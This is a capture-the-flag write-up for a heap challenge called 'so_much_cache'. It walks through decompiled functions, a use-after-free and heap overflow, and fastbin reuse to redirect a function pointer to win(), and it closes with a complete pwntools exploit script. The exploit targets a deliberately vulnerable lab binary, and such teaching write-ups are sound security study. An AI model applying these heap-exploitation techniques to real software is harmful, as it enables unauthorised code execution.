This was a basic ret2win challenge with a little heap sauce.

Description

Analysis

We’re given a binary file so_much_cache, it’s a Linux 64bit ELF, there’s no canary, and PIE is disabled.

$ pwn checksec --file so_much_cache  
   Arch:     amd64-64-little  
   RELRO:    Partial RELRO  
   Stack:    No canary found  
   NX:       NX enabled  
   PIE:      No PIE (0x400000)

Here’s a Ghidra decompilation of the main function:

void main(EVP_PKEY_CTX *param_1) {
  int choice;
  char tmp [8];
  code **code_buffer;
  
  init(param_1);
  code_buffer = (code **)0x0;
  do {
    menu();
    memset(tmp,0,4);
    read(0,tmp,4);
    choice = atoi(tmp);
    switch(choice) {
    default:
      puts("[!] invalid choice error code 1902");
      break;
    case 1:
      create_memory();
      break;
    case 2:
      release_memory();
      break;
    case 3:
      puts("[+] exiting...");
                    /* WARNING: Subroutine does not return */
      exit(0);
    case 4:
      code_buffer = (code **)malloc(0x18);
      break;
    case 5:
      puts("Where do you want to jump? (1, 2, or 3)");
      memset(tmp,0,4);
      read(0,tmp,4);
      choice = atoi(tmp);
      if (choice == 2) {
        (*code_buffer[1])();
      }
      else if (choice == 3) {
        (*code_buffer[2])();
      }
      else if (choice == 1) {
        (**code_buffer)();
      }
      else {
        puts("[!] invalid choice error code 1901");
      }
    }
  } while( true );
}

The following sections appear to be interesting. First, we have a variable that is a pointer to a pointer, which points to executable memory. In case 4, the program attempts to allocate 0x18 bytes using malloc. Then, in case 5, we can choose the offset to which we want to jump.

// this snippet was simplified
code_buffer = (code **)0x0;
// ...
case 4:
  code_buffer = (code **)malloc(0x18);
  break;
case 5:
  puts("Where do you want to jump? (1, 2, or 3)");
  memset(tmp,0,4);
  read(0,tmp,4);
  choice = atoi(tmp);
  if (choice == 2) {
	(*code_buffer[1])();
  }
  else if (choice == 3) {
	(*code_buffer[2])();
  }
  else if (choice == 1) {
	(**code_buffer)();
  }
  else {
	puts("[!] invalid choice error code 1901");
  }
// ...

Here’s an interesting function, this function opens the flag file and prints it out.

 
void win(void) {
  char local_78 [104];
  FILE *local_10;
  
  local_10 = fopen64("flag","r");
  if (local_10 == (FILE *)0x0) {
    puts("[!] error code 901");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  fgets(local_78,100,local_10);
  puts(local_78);
  return;
}

The function create_memory simply allocates the given size as long as it’s smaller than 0x89 and then reads data from stdin and stores it into the allocated memory, however it reads 3 times the given sizes, this’ll allows us to manipulate the structure of the heap.

 
void create_memory(void) {
  int size;
  
  printf("[?] size : ");
  __isoc99_scanf(&DAT_004a1bc8,&size);
  printf("[?] data : ");
  if (size < 0x89) {
    buf = malloc((long)size);
    read(0,buf,(long)(size * 3));
  }
  puts("[+] memory allocated!");
  return;
}
 

The function release_memory is simply a call to free the allocated memory, but there’s a UAF vulnerability in here, as it doesn’t clear the content of the freed memory.

void release_memory(void) {
  free(buf);
  return;
}

Solution

By this point, we have a plan to obtain the flag. The idea is to trick malloc into returning an address where we’ve already written the address of the win function. We can use the create_memory function to store the address of the win function in a 0x18 chunk. We’ll then free this chunk, which will move it to the fastbins. The next time we call malloc(0x18), it will return the same address with the previous content intact. Finally, we’ll jump to this address using option 5.

First of all we’ll setup some helper functions:

def nb2bytes(x): return f"{x}".encode("ascii")
 
def alloc(size, data):
    io.recvuntil(b':')
    io.sendline(b'1')
    io.recvuntil(b':')
    io.sendline(nb2bytes(size))
    io.recvuntil(b':')
    io.send(data)
 
def free():
    io.recvuntil(b':')
    io.sendline(b'2')
 
def prepare_jump():
    io.recvuntil(b':')
    io.sendline(b'4')
 
def jump(where):
    io.recvuntil(b':')
    io.sendline(b'5')
    io.recvuntil(b'3)')
    io.sendline(nb2bytes(where))

Next, we’ll execute the exploitation strategy. We need an 8-byte padding (cyclic(8)) because the first 8 bytes of our chunk are nullified when we call free. We then prepare the jump by calling malloc to obtain the address we have already manipulated. Finally, we jump to it.

alloc(24, cyclic(8) + p64(elf.symbols['win']))
free()
prepare_jump()
jump(2)

And here’s the output of our exploit:

[+] Starting local process './so_much_cache': pid 14432  
[+] Flag: b'flag{ * * * REDACTED * * * }'  
[*] Stopped process './so_much_cache' (pid 14432)

Full exploit

from pwn import *
 
def start(argv=[], *a, **kw):
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)
 
# -------------------------------- initial configurations
gdbscript = '''
init-pwndbg
set glibc 2.23
'''.format(**locals())
 
exe = './so_much_cache'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'info'
 
io = start()
 
# -------------------------------- custom functions
 
def nb2bytes(x): return f"{x}".encode("ascii")
 
def alloc(size, data):
    io.recvuntil(b':')
    io.sendline(b'1')
    io.recvuntil(b':')
    io.sendline(nb2bytes(size))
    io.recvuntil(b':')
    io.send(data)
 
def free():
    io.recvuntil(b':')
    io.sendline(b'2')
 
def prepare_jump():
    io.recvuntil(b':')
    io.sendline(b'4')
 
def jump(where):
    io.recvuntil(b':')
    io.sendline(b'5')
    io.recvuntil(b'3)')
    io.sendline(nb2bytes(where))
 
# -------------------------------- run exploit
 
alloc(24, cyclic(8) + p64(elf.symbols['win']))
free()
prepare_jump()
jump(2)
 
output = io.clean().strip()
 
log.success(f"Flag: {output[:output.index(b'}')+1]}")